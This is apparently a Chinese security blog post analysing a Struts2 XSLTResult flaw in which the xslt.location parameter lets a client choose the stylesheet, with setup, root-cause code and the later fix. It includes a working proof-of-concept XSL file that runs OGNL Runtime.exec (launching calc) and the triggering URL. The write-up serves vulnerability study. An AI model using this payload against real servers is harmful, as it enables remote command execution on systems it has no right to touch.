前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

前面那些都是个什么东西……


环境搭建

2.3.15.1 版本的 struts2 + Tomcat 9。

修改 struts.xml,加上 xslt 解析:

<result name="success" type="xslt">
    <param name="stylesheetLocation">/</param>
</result>

stylesheetLocation 的值随意。

漏洞利用

在 web目录(webapp)下新建一个 upload 目录,存放用于攻击的文件,文件名随意:

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
         version="1.0" xmlns:ognl="ognl.Ognl">
    <xsl:template match="/">
        <html>
            <body>
                   <h2>hacked by kxlzx</h2>
                  <h2>http://www.inbreak.net</h2>
                    <exp>
                     <xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec(&quot;calc&quot;)', '')"/>
                </exp>
            </body>
        </html>
    </xsl:template>
</xsl:stylesheet>

然后访问:

http://localhost:8080/login.action?xslt.location=/upload/poc.Twings

即可命令执行。

漏洞分析

看起来就是个类似 XXE 的漏洞,struts2 解析了 XML 文件,然后解析标签属性的时候执行了里面的 OGNL 表达式。这个漏洞的主要问题就在于文件路径可以被用户控制,调试 XSLTResult 类,可以看到:

String location = getStylesheetLocation();
...
if (location != null) {
    templates = getTemplates(location);
    transformer = templates.newTransformer();
}

文件路径本来来自配置文件,但是在其不为空的情况下,会调用 getTemplates 函数:

protected Templates getTemplates(String path) throws TransformerException, IOException {
    String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");

    if (pathFromRequest != null)
        path = pathFromRequest;

    ...
}

可以看到,客户端可以通过提交一个 xslt.location 参数直接控制要解析的 XML 文件路径。

漏洞修复

2.3.28.1 版本的修复,删掉了 getTemplates 函数中获取 xslt.location 参数的代码。


参考文章:

https://yanbin.blog/struts2-xsltresult-details/

http://itindex.net/detail/38232-struts2-%E6%A1%86%E6%9E%B6-xsltresult


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-032
struts2系列漏洞 S2-020/S2-021/S2-022